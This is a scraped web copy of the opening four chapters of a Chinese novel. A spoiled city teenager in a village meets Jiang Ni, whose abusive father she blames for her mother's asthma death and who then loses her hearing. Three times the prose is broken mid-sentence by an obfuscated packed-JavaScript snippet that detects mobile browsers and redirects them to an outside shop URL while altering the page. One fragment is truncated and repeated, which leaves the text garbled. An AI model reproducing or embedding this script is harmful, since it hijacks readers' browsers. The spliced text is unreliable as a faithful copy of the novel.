《那是耳朵在冬眠》 1. 第 1 章 第七天了。 沈寂躺在长长的炕上,翻来覆去地睡不着。 炕那头的老爷子已经睡熟,甚至还会发出轻微的鼾声。 沈寂想起来自己刚被沈清源发配到这儿的那天晚上,老头儿把常年没人住的正屋给收拾了出来,说是他儿子陈国宏的房间。 陈国宏是沈寂家里的司机。 沈寂这次之所以被送来这儿,就是因为常年和父亲不对付的他前段时间做了件事,彻底惹怒了他老子沈清源。 沈清源一气之下不仅把他所有的银行卡停了,还把他的手机给没收了,然后让陈国宏直接将沈寂送来了乡下。 至于陈国宏的房间……其他的地方沈寂都可以勉勉强强将就一下,但是大夏天的没有空调这点,完全无法让他接受。 老头儿住的偏屋倒是安装了空调。 可相比于没有空调,沈寂更接受不了的,是和老头儿一起去睡偏房的大长炕。 他对于休息的空间有着近乎洁癖的需求,不习惯跟人一起睡。 所以在老头儿问沈寂是在正屋睡,还是跟他去偏屋一起睡大炕的时候,沈寂毅然决然地选择了在陈国宏的房间睡。 不过,当晚半夜,沈寂就因为房顶上的吊扇散发出来的热浪一般的风,气的爬起来就冲进了开着空调的偏屋。 此后六天,他都在这张炕上吹着空调睡。 就是一直都没睡好罢了。 尽管和老头儿中间好似隔了条楚河汉界,但沈寂仍然无法安然入睡。 又一次翻身之后,沈寂烦躁地坐了起来。 他出了偏屋,拽动拉绳拉开房檐下的灯,在昏黄灯光的照亮下去了北屋。 进了陈国宏的房间打开灯,沈寂从他的行李箱中拿出一条黑色短裤和一件白色T恤,然后就去了那个露天的洗澡间下面,快速地冲了个澡。 之所以说洗澡间露天,是因为这个洗澡间就在一个墙角处,用砖垒起了一米六左右的高度作为遮挡。 而连接花洒的水源,是放置在偏屋房顶上的一个黑色大水桶。 水温全靠当天的太阳操控。 沈寂长这么大,还是来了这儿后才知道还能这么洗澡…… 简直颠覆他的认知。 但刷新了他的认知,不代表他就能坦然接受这里的一切。 至少到现在为止,他还是不太能接受这样露天地洗澡。 也因此,他这一星期每天都要等夜深人静才可肯偷摸地过来冲澡,跟做贼似的,生怕被人给撞见。 要不是实在没有其他选择,他绝不会站在这个鬼地方冲澡的,沈寂在心里第一万次吐槽。 和前几天一样,沈寂飞快地冲了个澡就逃离了这个露天的洗澡间。 此时已经临近深夜十二点钟,乡下村庄早已经被夜色的寂静所包围。 这会儿的温度也不似白天那样蜇着皮肤,沈寂又刚刚冲过澡,难得浑身清爽。 他搬了个椅子过来,坐下后将两条长腿伸直,人瘫在椅子上,后脑勺枕着椅背,仰头盯着夜空里亮亮的星星发起了呆。 没有手机平板等电子产品,又身处在这个穷乡僻壤的乡下,别说有什么娱乐活动了,就连点外卖都点不到,网吧就更没影了。 沈寂时时刻刻都被无聊所笼罩着。 他想念江城的一切。 他的大床、宽敞的浴缸、电脑上的游戏,还有各色各样的美食,以及那两个一有空就跟他呆在一起消磨时光的发小。 思维漫无目的地飘着飘着,就飘到了他来这儿的原因上—— 沈寂把沈清源的第二春给搅黄了。 想到这里,沈寂的嘴角上扬起来,心里顿时爽翻。 就算换来的是他现在过这种苦日子,沈寂也没有半分后悔。 悔意自然也是一丁点儿都没有的。 就在沈寂沉浸在自己扳倒了他老子一回的快乐中时,一道炮仗如同惊雷,划破了寂静的夜色。 “卧槽!”沈寂被吓了一跳,本来懒洋洋瘫坐在椅子上的他顿时收了腿坐直。 紧接着,第二道炮仗的声音又响起来。 还没等他反应过来,第三声炮仗彻底炸醒了黑夜。 沈寂眨了眨眼,安静地等着接下来的炮仗声。 但是并没有炮仗继续炸开。 沈寂并不知道乡下的民俗。 他不懂像这样在深更半夜里毫无征兆地突然放三个炮仗是意味着,有人过世了。 周边家家户户的灯陆陆续续亮起来。 沈寂还茫然地坐在椅子上,陈守疆就推开门,从偏屋走了出来。 沈寂望向他,有些懵地问:“老头儿,这个点儿放炮是要干嘛啊?” 陈守疆轻微地叹了口气,操着一口本地方言告诉他:“放三个亮响,是有人死了。” 死……死人了? “谁死了?”沈寂神色意外,预语气也带着吃惊。 陈守疆摇摇头,“不好说。” 但他听着炮仗声传来的方向,像是村东头的江家那片。 陈守疆转了话题问沈寂:“你在院儿里奏嘛哩?” 沈寂抬手摸了摸还有点潮的头发,回他:“我刚洗了个澡,坐在这儿等头发干。” 陈守疆哼笑了声,“你甭以为我不知道你挑剔,是跟我一个屋睡不自在吧?” 被老头儿戳穿,沈寂也不尴尬,说:“我没跟人一块睡觉过,就算是跟我发小出去玩在外面过夜的话,我都要自己单开一个房间睡觉的……” “娇气。”陈守疆笑着说了他一句。 沈寂刚想回击,还没说出话,偏屋里就突然响起了贼大的来电铃声。 陈守疆听到来电铃声就回屋拿手机接电话去了。 沈寂这会儿满脑子都是这村里死了人,浑身发毛的他立刻就抬脚跟着陈守疆回了屋。 老人用的手机音量大到不用开扬声器就足够旁边的人都能听清电话那头说的话。 对面的人跟陈守疆说:“陈叔,江德富他媳妇儿死了,咱村里主这事儿的李大爷这段时间去他儿子家养病去了,我寻思这么大的事儿也就你主起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458908|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈守疆回他:“我过去一趟。” 对方“哎”了声,“那我们等你。” 陈守疆挂了电话后跟沈寂交代:“我得去过事儿的那家看看,你自个儿在家先睡吧。” 沈寂一听,连忙问:“老头儿老头儿,我能跟你一起去吗?” “到了你也不用管我,等你忙完要回来的时候记得叫上我跟你回家就行。”他强撑着镇定说。 虽然那家死了人,但至少在场的人多,有人在他就不会害怕。 但是要撂他自己在家睡觉的话,他不仅睡不着,还会一直被恐惧所包围。 陈守疆瞅着眼前这个胆儿小的大少爷,这回倒是没戳穿他,只笑了声,答应道:“行,那你跟我一块去吧。” 沈寂跟着陈守疆去了江德富家。 他们到的时候,江家的大门大敞开,院子里灯光通亮,站了不少人。 陈守疆刚走过来,人群里就陆陆续续地传来叫他“陈叔”的声音。 陈守疆点头“嗯”着应声的同时,扭脸看了看沈寂。 沈寂低声说:“我去旁边,你不用管我。” 说完又不忘强调:“回去的时候记得叫上我啊老头儿。” 陈守疆对沈寂点了点头,沈寂这才去旁边找了个不碍事儿的地儿蹲着。 此时江家正热闹,院子里都是商量办后事的人,屋子里头还有一群人在说话。 但沈寂听着听着,就觉得不对劲。 好像有人在争吵。 他站起来,往窗户那边挪了挪。 虽然胆小害怕,但好奇终究占据了上风。 毕竟看热闹爱吃瓜是刻在人类骨子里的。 沈寂也不例外。 然后,沈寂就透过窗户看到,屋内乱成了一锅粥的场面。 一个中年男人赤红着脸,恶狠狠地瞪着眼珠子,抬着手要将巴掌抡向他面前的女孩儿,嘴里破口大骂着:“你再给老子说一遍!你他娘的再说一遍!” 那架势,几乎是想要把这个女孩儿给生吞活剥了才解气。 还好有两个男人正在竭力往屋外拉他,而女孩也被一个微胖的女人用手挡在身前护着,这一巴掌最终没有落到女孩的脸上。 但是,女孩儿的脸上明显有红指印。 她已经被打过了。 而且对方绝对下了重力,才会在她的脸上留下这么清晰的巴掌印。 她面无表情地盯着几乎要用眼神刀了她的中年男人,整个人平静的可怕。 下一秒,女孩子的声音穿透了窗户,钻进了沈寂的耳中。 她的声音明明是轻然的,却因为语气足够坚定,让人觉得格外铿锵有力:“是你杀了我妈。” “妮儿,”护着她的那个微胖女人连忙提醒:“这话不能乱说。” “妮儿你听婶子的劝,咱再也不说这话了啊。” 这是沈寂见到江妮的第一眼。 在她母亲去世的这个晚上。 也是这个晚上,江妮失去了这个世界上,唯一真正爱她的人。 2. 第 2 章 江妮出生在一个贫穷的乡下村庄。 从她记事开始,江德富就是现在这副死德性,每天的头等大事除了喝酒抽烟指点江山,就剩呵斥母亲和她。 挂在嘴边的口头禅是“死娘们”和“赔钱货”。 江妮每天都生活在一种仿佛被抽干了空气的环境中。 只有当家里来人串门时,这种窒息感才会得到一些缓解。 因为江德富在这种时候,忙着跟人聊闲唠嗑,就顾不上骂她和母亲了。 在江妮的记忆里,她家一年到头都是靠向亲戚和邻里借钱存活。 如果当年老天爷赏饭吃,地里的作物收成还不错,年底还钱的负担会相对来说小一点,但要是老天爷不高兴,他们家就会过得更艰难。 江妮这些年来听到过的最多的话之一就是:咱们全靠天吃饭。 每每到年底,母亲就会为还钱发愁。 因为年底是清账的时候,借的钱得还。 她家就这样开年借钱,年底还钱,年复一年地在借钱还钱的漩涡中打转。 江妮小时候的梦想是长大后要赚大钱。 赚了钱把母亲接走,让母亲跟着她一起彻底逃离这个连呼吸都是错的地方。 江妮听母亲提过,当年其实并不是母亲想要嫁给江德富,母亲本来有个自由恋爱的对象,但是姥娘看不上对方,于是以喝农药自杀为要挟,强迫母亲和对方断了感情,然后又找媒婆给母亲介绍了江德富。 “当时除了我,全家都相中了他,都说他是个老实人,是踏实过日子的人,我那会儿刚被迫和喜欢的人断了,已经心灰意冷了,他们让我跟谁结婚我就跟谁结婚,我那会儿已经是这个心态了。”母亲的话还清晰地响彻在江妮的耳畔。 “你就没想过再挣扎一下吗?”江妮听到自己为母亲。 “我要怎么挣扎啊妮儿,”母亲的叹息太轻,却重重地砸在了江妮的心头,“我知道你姥娘的性子,她是真的能干出来的,我总不能真的为了喜欢的人不管不顾她的死活吧?” “她就是吃准了我不会眼睁睁看着她去死,才用这个法子要挟我的。” “但是妮儿,”母亲的脸上露出了温柔的笑容,“妈不管你的感情,妈绝对尊重你的感情,你想跟谁谈就跟谁谈,哪怕对方距离咱这儿天南海北都不要紧,多远都没问题,只要你们相爱,妈就支持。” 江妮心底清楚,母亲是因为自己淋过雨,所以再也不要让她也重新走一遭她那破烂不堪的人生。 “那要是,我谈的对象,我爸不同意呢?”江妮本来就是没过脑子话赶话顺嘴问了一句。 可母亲的回答,让她真切地感受到了,这个世界上,有一个奋不顾身爱她的人。 “那我跟他呵命。”母亲的话语依然那么轻然温柔,却带着不容置疑的认真和严肃。 “呵命”是江妮家乡这边的方言,意思就是拼命。 “别的事我都可以让步不和他计较,你的终身大事我不能让步,他不可以阻碍你的恋爱和结婚。”母亲说。 江妮静静地望着母亲,她清透的眼眸在摇曳烛光的映衬下,变得更加晶亮。 ——那晚村子里停了电,家里点着蜡烛,母亲正在给她往磨破的牛仔裤上缝小熊刺绣贴。 江德富当时不在家,去地里浇地去了。 但那晚接下来的记忆,是江妮后来无数个夜晚中的噩梦。 江德富浇地回来时,身上的烟味酒味混在一起,臭的要死。 醉醺醺的他一回到家就当大爷,又要母亲给她做饭又要母亲给他倒热水泡脚。 江妮懂事地去烧火做饭,想要帮母亲分担一些,可结果,没几分钟,她就听到客厅里传来叮咣一阵响,伴随着江德富不堪入耳的辱骂。 江妮急忙跑过去,发现母亲狼狈地坐在地上,身上的衣服被热水打湿,泡脚盆还扣在她的手边。 而母亲正呼吸急促。 是哮喘发作了。 江妮连忙跑去屋里翻抽屉给母亲拿药,但是当她怎么都找不到母亲的哮喘吸入剂。 明明一直放在这个抽屉的。 江妮当时也来不及再多想,当务之急是要让母亲的哮喘得到缓解。 她抬脚就要往外跑,想去村医那里拿治哮喘的药,但是江德富拽住了她,然后一把将她甩到一边,江妮的身体飞出去,她摔到地上,后背撞在了屋门槛上,背上瞬间涌上来一股钻心的疼,让她的眼泪在眼眶里打转。 江德富臭骂她:“又要给这死娘们去拿药?天天吃药花的不是我的钱?” “老子没日没夜拼死拼活挣的这点钱都让你俩霍霍完了!” 江妮的小身板根本扳不过江德富,她只能寻求其他办法。 她记得在电视上看到过哮喘的急救科普。 有一个情况就是,如果哮喘发作了,但是身边没有药要怎么办。 当时的专家给出的解决办法是:人坐直,手撑在膝盖上,上半身微微往前倾,对着电风扇吹一会儿,也许会得到缓解。 电风扇…… 就在江妮爬起来想要去搬台扇的时候,忽然想起来现在还停着电。 江妮立刻拿起桌上的大蒲扇,奋力地扇风给母亲。 不知道是不是她的扇风真的起到了作用,喘不上气来的母亲,呼吸慢慢的平稳了下来。 江德富就高高在上地旁观着,甚至还在江妮抄起蒲扇扇风的时候不屑一顾地嗤笑了一声。 等母亲的情况好转,江妮放下蒲扇弯腰去搀扶母亲的时候,江德富开口怨恨地说:“要不是为了生你,你妈也不会得这个恼人又费钱的病,都是你害了你妈。” 江妮从能听懂话的时候,就经常会听到江德富提起这件事。 母亲的哮喘,是在生了她之后突然出现的。 所以江德富这些年来一直都在怪罪江妮,怪她害她母亲生病,要常年用药花钱。 不过每次江德富讲完这些话之后,母亲都会在私下偷偷告诉江妮:“妮儿,你别听他瞎说,我这次你和你半点关系没有。” 江妮这次也同样没有理睬江德富的话,而是冷脸问他:“我妈的哮喘药怎么没了?” 江德富瞪着眼珠子,嗓门突然拔得很高:“我怎么知道!” “你这话是哪个意思?”跟个大爷似的坐在板凳上的他气冲冲地捡起自己拿脏臭的鞋,用力扔向了江妮,随即就破口大骂:“你个赔钱货!你再问我一句试试!弄不死你我!” 因为没有哮喘药,母亲那晚没敢回屋睡觉。 每晚半夜是哮喘发作的高峰期,母亲必须要喷一喷药才能舒服点睡觉。 江妮也没有睡,她陪着母亲,在院子里插了一夜的花。 插花这活儿还是母亲跟着村里的大娘婶子们一起接的灵活。 赚不了几个钱,但能补贴点家用。 天一亮,江妮就去村医家里给母亲拿了治哮喘的吸入剂回来,赊的账,她跟村医讲好了一个月后给钱。 这次她一次性拿了两瓶。 一瓶给母亲,另一瓶她自己藏起来,以备不时之需。 也是从这天开始,江妮每天都格外注意母亲的哮喘药还有没有。 可是,意外还是发生了。 就在这个普通的夜晚。 零点都还没到,新的一天还没来,母亲永远地睡着了。 母亲常用的那瓶哮喘喷剂江妮已经找过了,没找到,她怀疑是江德富给扔了。 所以她才说是江德富杀了母亲。 毕竟他在此之前,已经不止一次地偷偷扔掉母亲的药。 他巴不得母亲早点死掉,好丢掉母亲这个累赘。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458909|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他甚至恨不得她也去死,省的他还要继续在她身上赔钱。 这些江妮心里都清楚。 江妮的手里紧紧攥着那瓶她要给母亲应急的哮喘药,人靠着墙,呆着。 刚刚她在村里的大娘和婶子的指导下,给母亲擦洗了身体,穿上了寿衣。 母亲的手很粗糙。 母亲跟她说过,结婚之前母亲都没有下过地干过粗活,甚至就连针线活都不会。 母亲说:“针线活是有了你后我自个儿学的,你的小枕头,小褥子,小鞋子,还有冬天的棉衣棉裤,都是我一点一点地琢磨出来的。” 母亲这一辈子都没有一张像样的结婚照,更别说拥有个结婚戒指。 母亲身上没有半点首饰,就连耳洞都不知道在哪一天堵上了。 村里的葬礼不兴请入殓师给死者化妆,在江妮给母亲擦洗完身体穿好寿衣以后,她的母亲就入了冰馆。 停在她家的客厅。 接下来的三天,江妮每天都披麻戴孝地跪在母亲的冰馆旁。 主事的陈爷爷告诉她,只要有人来吊唁,她就要哭。 “没人的时候就歇歇。”陈守疆嘱咐江妮:“晚上守灵也尽力而为就行,顶不住了就回屋去睡一觉,不用听他们说的犯忌讳,没什么忌讳。” 江妮机械听话地点了点头。 江妮没觉得自己在哭,但其实,就连没人来吊唁的时候,她也在不自知地流泪。 村里的葬礼习俗繁杂,江妮每天要在早中晚三顿饭的时间段去“上庙”,家在村东头的她要穿过村里的主干路,再下坡到一处破败的土堆枯树前,跪下后开始哭,然后起身一路哭着回来。 每到这个时候,路两边就会站满了人,都是出门赶来看“上庙”的村民。 江妮知道,她哭得越厉害,哭着喊妈妈喊得越响,就越会收到村民们的褒赞,他们会说这姑娘心疼她妈,舍不得她妈。 可江妮只会流泪,不停地流泪。 她一个字都喊不出来。 母亲去世的第二天,就变成了骨灰盒里的一捧骨灰。 第三天傍晚,母亲的葬礼在完成“出殡”后,骨灰盒被放在木棺中,埋进了农地里的一处地方。 江妮不知道那块地是谁家的地,但她记住了那里埋着她的母亲,李月蓉。 而此时,江妮已经整整三天没有合眼了。 办完母亲的后事回到家,江妮迎来的是又把自己喝成醉鬼的江德富。 院子里一片狼籍,从各家借来的桌子椅子盘子碟子等等都需要她来收拾并归还。 江妮根本没空休息,她脱掉孝服,开始往各家送东西。 盘子和碟子得等她清洗干净再送,江妮就趁这会儿时间还不算晚,先用家里的三轮把借来的桌椅送了回去。 等她再挨家挨户地一趟趟送盘子碟子时,已经快到了村里的人都要休息的时候。 陈守疆家是江妮要去的最后一家。 江妮拿着碟子来到陈守疆家的时候,陈守疆正和沈寂在院子里支着小方桌,吃着下酒菜。 “陈爷爷,”江妮的声音很嘶哑,语气浅淡地说:“还你碟子。” 陈守疆支使抬头打量着江妮的沈寂,说:“小子,去接着。” 沈寂“哦”了声,虽然被老头儿支使做事了,他倒也没不情不愿,起身朝江妮走了过去。 而,就在他刚来到江妮面前的一刹那,江妮忽然就毫无征兆地直挺挺倒了下去。 “卧槽!”沈寂忍不住本能地惊呼起来。 与此同时,他的身体已经反应极快地做出了行动,沈寂手忙脚乱地一手从碟子底部托住了这一小摞瓷碟,另一只手直接捞住了江妮的腰。 “老头儿!”沈寂被吓得大声喊:“啊啊啊啊啊她死过去了老头儿你快来啊!” 3. 第 3 章 陈守疆快步走过来,在从沈寂的手中接过这摞碟子的时候,他跟沈寂交代:“快带妮儿去建生家。” 沈寂满头雾水,苦着脸着急忙慌地问:“建生家是哪儿啊!” 陈守疆说:“就是村医家,昨晚你才跟着我过去拿了药。” 他说完又问沈寂:“还记得路不?” 沈寂在认路这方面敏锐度还是可以的。 况且,老头儿说的那个村医家就在村里那条唯一的主干道大街上。 “知道了。”沈寂说话间已经转了身过来,随即就将不省人事的江妮给背了起来。 沈寂在背着昏迷的江妮往外跑的时候,还在跟陈守疆喊:“老头儿你也快来啊!” 转头去放碟子的陈守疆应声:“就来就来,你先去!” 沈寂背着江妮一路狂奔。 这个村太小了,统共百来户人家,就算是从最西北角跑到最东南角,也不过几分钟而已,更何况陈守疆家离村医家也没那么远。 背上的人轻的没什么重量,根本不会让沈寂觉得自己正在负重跑。 尽管如此,当沈寂跑到村医家门口时,依然心跳砰砰气喘吁吁。 是过于紧张导致的。 沈寂抬手推了推门,推不开。 人家已经休息了。 沈寂就开始咣咣拍门,边拍门边扬声喊:“医生!医生开门!有人晕倒了!” 一个十六七岁的大小伙子,正值活力蓬勃的年岁,嗓门大到半条街都听见他的叫喊了。 村里很少有外人来,就算是家家户户的子孙后代回来探亲,平日里见了人打招呼也会说家乡话,他们这里很少见到张嘴就说普通话的大城市人。 沈寂跟这里的格格不入,其实从他出现在这个村子开始,就格外明显了。 此时街坊邻居听到那个住在陈守疆家的帅小伙大半夜突然砸建生家的门,还说有人晕倒了,都以为是陈守疆突然撅过去了。 村医薛建生很快就跑来给沈寂开了门。 沈寂背着江妮和薛建生一起进了屋。 薛建生让沈寂把江妮放到药房这间屋的唯一的单人病床上。 然后沈寂就退到了一边,让薛建生查看将你的情况。 没两分钟,外面传来一阵说话声。 “诶?陈叔,”一个女人惊讶道:“晕的不是你啊?我刚听到住在你家那小孩儿着急忙慌地喊建生,还以为是你晕过去了。” 陈守疆解释:“是江家那小妮儿,来给我送碟子,人突然就直愣愣地倒下去了。” 另一个出门来查看情况的男人抬了口气,说:“这小妮儿命苦,这几天估计把她给累够呛。” 陈守疆不置可否。 他这三天帮忙操办着丧事,是知道江妮已经三天没合眼了的。 就算有再强大的意志力,身体也顶不住这么造啊。 陈守疆随后又说:“我去瞧瞧情况。” “哎,陈叔,”那个女人又叫住陈守疆,好心提醒他:“你给江德富打电话了吗?” 陈守疆回了句:“打了,在来的路上打了好几回,都没人接。” “唉。”女人叹息了下,便对陈守疆说:“那行,陈叔,你没事就行,我先回家了啊。” 陈守疆很快就出现在了屋门口。 “咋样啊?”陈守疆一来就问薛建生:“这小妮儿咋回事?” 给江妮把了把脉的薛建生回头告诉陈守疆:“没大事儿,累着了,睡过去了而已。” 陈守疆了然地点了点头,“她这三天都没合眼,白了黑了都在那儿跪着,不喊不叫,就只抹眼泪。” 陈守疆说这话的时候,旁边的沈寂想起这几天江家办丧每回“上庙”的时候,都会有村里的人在那儿叽叽咕咕地说江妮这闺女不行,说她不会哭丧,说她妈妈那么疼她结果她连上个庙都让她妈妈丢脸。 站在人群中的沈寂看着脸庞全然被泪水洗刷的江妮,觉得这村子里的人好像有什么大病,难道他们都是瞎子?看不到她脸上的泪堪比在洗脸了吗? 薛建生跟陈守疆说:“带她回去让她好好睡一觉吧。” 陈守疆应下来后就扭脸看向了一旁的沈寂。 沈寂直视着陈守疆,不可置信地抬起手指向自己:“又我?” 陈守疆反问:“难道你要我一个老头子背?” 沈寂转头看向了村医。 薛建生笑着说:“甭看我,我一大老爷们也不合适。” 沈寂:“?” “我看起来就很合适?”他无语地问道。 陈守疆和薛建生一致认为:“合适。” 沈寂:“真是服了我。” 虽然这样吐槽着,他还是走了过去。 在要背起人事不知的江妮之前,沈寂还是有些不放心地问了薛建生一句:“她真的没事对吧?” 别醒不过来了…… 薛建生笑起来,“要不你再带她去乡里的卫生院或者去县医院瞧瞧?” 沈寂刚要说话,薛建生就又告诉他:“真没事儿,她的脉象平稳,就是疲劳过度了,得休息。” 行吧。 既然村医都这么肯定了,沈寂也就稍稍放了心。 从薛建生家出来后,沈寂背着江妮和打着手电筒照路的陈守疆一起往江家走去。 在去江家的路上,沈寂问陈守疆:“这是我在这儿,要是我没来呢?” 陈守疆笑着说:“那我就用三轮拉妮儿啊。” 沈寂这才忽然想起来,陈守疆家有一辆电动三轮车的! “对啊!”他恍然大悟地扭头看向陈守疆:“你家不是有三轮车吗?有三轮车还让我背着她跑!你故意的!” 他气呼呼地说:“把我当傻小子耍呢你!臭老头儿!” 陈守疆乐呵呵地回他:“我就算脚蹬三轮也没你跑的快啊,你背着妮儿跑过去是最好的法子。” 这倒是。 这话沈寂有点爱听。 夸他跑的快呢。 “我看别人家都有电动的三轮车呢,你怎么买个电动的啊,省劲儿还快捷。”沈寂问陈守疆。 “宏子是要给我买,还要给我买带篷子的那种,是我不想要,脚蹬三轮能活动活动筋骨,就当锻炼身体了,要真天天开电动的,我这老胳膊老腿很快就退化不行了。”陈守疆并不是要面子才这样讲,是他真的不需要电动的三轮车。 陈国宏给他买过电三轮,结果陈守疆直接开回去给退掉了。 陈国宏这些年经常给家里买东西,但只要是陈守疆认为不是他必需要用的,统统都给退掉了。 久而久之陈国宏就不管了,老人的观念他拧不过来,于是只能给钱。 “你别跟我说你家不装太阳能也是因为你用不上。”沈寂对于洗澡的不便利有非常大的怨念。 说完他又退了一步:“就算不装太阳能,能不能把那垒了一半的洗澡间给垒完啊!” 沈寂控诉道:“害得我每天洗澡跟做贼似的,专挑大半夜偷摸去冲澡。” 陈守疆笑的不行,“乡下可没你们城里人讲究。” “这儿也不像城里,到处都是摄像头,你就大白天洗又咋了?那半拉墙足够遮住你下半身了,根本没人会看到你光着腚在洗澡。” 沈寂一个富家少爷哪里听过这么粗俗的话,他顿时羞红了脸,气急败坏地压低声音说陈守疆:“你讲话不文明!” 什么叫光着腚! 说他“裸着”都比“光着腚”好听! 陈守疆根本不知道自己哪里不文明了。 他一个脏字儿都没吐出来啊。 背上的人不知不觉下滑了些,沈寂往上掂了掂趴在他后背上的江妮。 像是怕陈守疆一会儿还会说什么不雅的词,他开口警告道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458910|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有女孩子在呢,你不要再说什么光不光了。” 陈守疆这才转过闷来,原来这大少爷觉得“光腚”是不文明的字眼。 陈守疆顿觉好笑,哈哈笑出声来。 沈寂:“……” “死老头。”他气哼哼的,颇有恼羞成怒的意味,“不准笑我!” 陈守疆却笑的更甚。 宏子还嘱咐他,说这少爷脾气差,他倒是觉得这小孩怪有意思的,某些时候脸皮薄的像个小姑娘。 沈寂和陈守疆到江家后,发现江德富已经歪到在堂屋的椅子上睡着了,地上还倒着好几个空酒瓶。 沈寂见状,不禁皱了皱眉。 这人让他觉得是个无赖酒鬼。 老婆的丧事刚办完,他就喝成这个德行,给他打电话都没人接,院子里还一片狼藉没打扫,遍地都是纸钱和烧纸灰堆。 沈寂忍不住又多联想到,江妮这么晚还去了陈守疆家送碟子,怕不是一直都是她自己在收拾,才搞到这么晚。 如果真的是这样,那她不晕倒才奇怪了。 沈寂按照陈守疆的指示,把江妮放在堂屋西边的那间屋里。 这个屋一看就是她住的地方。 一个空间很有限的单人床,一个破旧的木书桌,上面摞着一些书,除此之外,就只剩一个用钢架和牛津布组装起来的简易衣橱。 沈寂把江妮放到床上就退了出去,顺便帮她带上了她房间的门。 陈守疆正在院子里拿着大扫帚帮忙扫院子。 沈寂就蹲在台阶上等陈守疆扫完院子,和他一起回去。 刚刚又是背江妮又是疯狂跑,沈寂都没察觉自己的后背都湿透了,这会儿闲下来,他才感受到身上那种汗水风干后的粘腻。 而且,沈寂闻到了从他T恤上散发出来的一种汗水味和香火味混在一起的味道。 汗味是因为他刚刚剧烈跑动出了汗,可是香火味是从哪儿来的…… 还没等沈寂想通,陈守疆就朝他招了招手,示意他可以走了。 回到陈守疆家里,沈寂就立刻找出干净的衣服跑去冲澡了。 就在他将身上这件T恤扒下来的时候,沈寂忽然就想通了香火味是从哪儿来的。 香火味是江妮身上的味道。 她母亲今天出殡,她一直在烧纸的附近呆着,周身不免沾上了香火味。 因为他背了她,所以他的身上也带上了这种味道。 沈寂:“……” . 江妮是被胳膊上突然传来的痛感给疼醒的。 她睁开眼的时候,江德富正用皮带抽她。 刚刚落下来的那一皮带,已经让她的胳膊上留下了一道血印子。 忽然惊醒过来的江妮眼中满是藏不住的惊慌。 但在看到拿着皮带作势还要抽她的江德富后,她眸子里的惊慌就消失不见,转而变成了一种认命的麻木。 但是很奇怪,江德富今天的嘴巴张张合合,却没有发出声音来。 没有了刺耳的辱骂声,倒是让他这幅恶狠狠的样子显得很滑稽。 从床上坐起来的江妮正疑惑着,却突然意识到了什么。 她的神情明显怔住,身体也变得僵硬。 江妮看向站在她床边还在不断说着话的江德富,大脑里轰然炸了一下。 她不自觉地做了一个吞咽的动作,干涩的喉咙像是被撕扯着灼烧那般生疼。 周围好安静啊。 她听不见村里的狗在叫,也听不到邻居家养的鸡咯咯咯,更听不见江德富的骂骂咧咧。 下一秒,皮带又一次落下来。 江妮的胳膊上开始渗血。 江妮终于真切地意识到,她聋掉了。 她连皮带落下来抽打她胳膊的声音都听不到。 这是一个特别安静的早上。 她听不见了。 4. 第 4 章 根本不等江妮反应,江德富就粗暴地把江妮从床上拖了下来。 江妮结结实实地摔到了水泥地上。 手腕挫了一下,顿时传来钻心的疼痛。 这种刺骨的痛感让她的眼睛里涌上来了生理性的泪花。 江德富还在不止不休地骂骂咧咧。 江妮虽然听不到他在说什么,但也能猜到个大概其。 江妮从地上爬起来,去院里的灶台处烧火做饭去了。 做早饭的时候,江妮坐在灶台前的小板凳上,手里拿着烧火棍,时不时地发呆。 突然耳聋这件事,对江妮的打击似乎并不大。 她的情绪甚至都没起什么波澜。 对江妮来说,命运已经带走了她最珍惜最在意的人,所以命运再从她这里拿走什么,她都随便任其抢夺。 就算再让她变成瞎子、哑巴,她都无所谓的。 反正她的命也就这样了。 母亲在的时候,她还有往前奔的拼劲儿。 江妮那个时候身体里似乎总紧紧地绷着一根弦,她的目标很清晰——考个好大学,念个好专业,然后努力工作挣钱,把母亲从这里带走。 而现在,那根弦已经断掉了。 江妮甚至能够预测到她接下来要面临的一切—— 江德富不会再出钱供她念书。 他要么会让她天天下地干农活,要么,就让她去干点零活补贴家用。 就算她没有变成聋子,江德富也不会再愿意掏钱让她去上学。 因为,一年前的她之所以能够踏入高中,是母亲极力坚持要送她继续念书,是母亲拼尽全力同江德富抗争了一番才换来的她的高中生身份。 虽然江德富最后极不情愿地松了口同意她继续去念高中,可是母亲的身上也因此多了些伤。 …… 江妮的思绪又落回了当下。 她目光失焦地盯着灶台里跳动的火焰。 江妮其实还是很想继续上学。 可是……她听不见了,她没办法再听到老师讲课的声音。 她听不见任何的声音。 难道要想办法去上残障学校吗? 学费呢?要从哪里来? 她的身上一分钱都没有。 江妮陷入了迷茫。 她忽然不知掉自己该何去何从。 锅烧开了,水沸腾了上来。 江妮慌忙站起来,揭开锅盖放了放气。 